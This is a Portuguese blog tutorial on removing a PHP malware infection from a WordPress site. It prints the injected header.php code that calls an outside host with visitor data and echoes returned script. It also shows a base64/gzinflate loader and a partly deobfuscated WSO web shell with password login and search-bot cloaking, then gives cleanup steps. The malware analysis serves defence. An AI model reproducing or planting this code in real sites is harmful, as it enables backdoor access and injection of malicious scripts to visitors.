Remover vírus WordPress PHP
Este tutorial apresenta um caso particular em que um blog WordPress foi infectado. Remova o vírus WordPress PHP.
contente
Outro dia notei um código suspeito que parece ser um vírus PHP para WordPress. O seguinte código PHP estava presente no header.php, antes da linha </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Este é um código PHP que parece estar tentando recuperar o conteúdo de um recurso de um servidor externo, mas a parte que se refere à URL está incompleta.
O mecanismo de funcionamento é um pouco mais complexo e torna este vírus WordPress PHP invisível para os visitantes dos sites afetados. Em vez disso, tem como alvo os motores de busca (Google) e leva implicitamente a uma diminuição significativa no número de visitantes dos sites afetados.
Detalhes do malware do vírus WordPress PHP
1. O código acima está presente em header.php.
2. Um arquivo apareceu no servidor wp-log.php na pasta wp-includes.
3. wp-log.php contém um código criptografado, mas que é relativamente fácil de descriptografar.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Descriptografar código de malware de wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Este parece ser um script PHP malicioso que contém código para lidar com autenticação e ações em arquivos e diretórios em um servidor. Pode-se ver facilmente que este script contém variáveis como $auth_pass (senha de autenticação), $default_action (a ação padrão), $default_use_ajax (usando Ajax por padrão) e $default_charset (configuração de caracteres padrão).
Obviamente, este script possui uma seção que verifica os agentes de usuário HTTP para bloquear o acesso a determinados bots da web, como mecanismos de pesquisa. Ele também possui uma seção que verifica o modo de segurança do PHP e define determinados diretórios de trabalho.
4. Se wp-log.php for acessado no navegador, uma página web aparecerá com um campo de autenticação. À primeira vista, parece ser um gerenciador de arquivos através do qual novos arquivos podem ser facilmente carregados no servidor de destino.
Como desvírus de um site WordPress?
Sempre, o processo manual de remoção de vírus envolve primeiro descobrir e compreender qual era a vulnerabilidade.
1. Gere um backup para todo o site. Isso deve incluir os arquivos e o banco de dados.
2. Determine há quanto tempo aproximadamente o vírus apareceu e pesquise no servidor web por arquivos modificados ou recém-criados dentro do período aproximado.
Por exemplo, se você quiser ver os arquivos .php criado ou modificado na última semana, execute o comando no servidor:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
É um método simples pelo qual você pode descobrir arquivos WordPress infectados e aqueles que contêm código de malware.
3. Verifique o arquivo .htaccess de directivas suspeitas. Permissões ou linhas de execução de script.
4. Verifique o banco de dados. É muito possível que alguns posts e páginas do WordPress tenham sido editados com malware ou novos estejam sendo adicionados usuários com função de administrador.
5. Verifique as permissões de gravação de pastas e arquivos. chmod e chown.
As permissões recomendadas são: 644 para arquivos e 755 para diretórios.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Atualize tudo WordPress Plugins / WordPress Themes.
Relacionado: Corrigir redirecionar o WordPress Hack 2023 (redirecionamento do vírus)
Estes são métodos “básico” através do qual você pode desvírus de um site/blog WordPress. Se você tiver problemas e precisar de ajuda, a seção de comentários estará aberta.
Remover vírus WordPress PHP
O que há de novo
Sobre Stealth
Apaixonado por tecnologia, escrevo com prazer no StealthSettings.com desde 2006. Tenho uma vasta experiência em sistemas operativos: macOS, Windows e Linux, bem como em linguagens de programação e plataformas de blogging (WordPress) e para lojas online (WooCommerce, Magento, PrestaShop).
Veja todos os posts de StealthVocê também pode estar interessado em...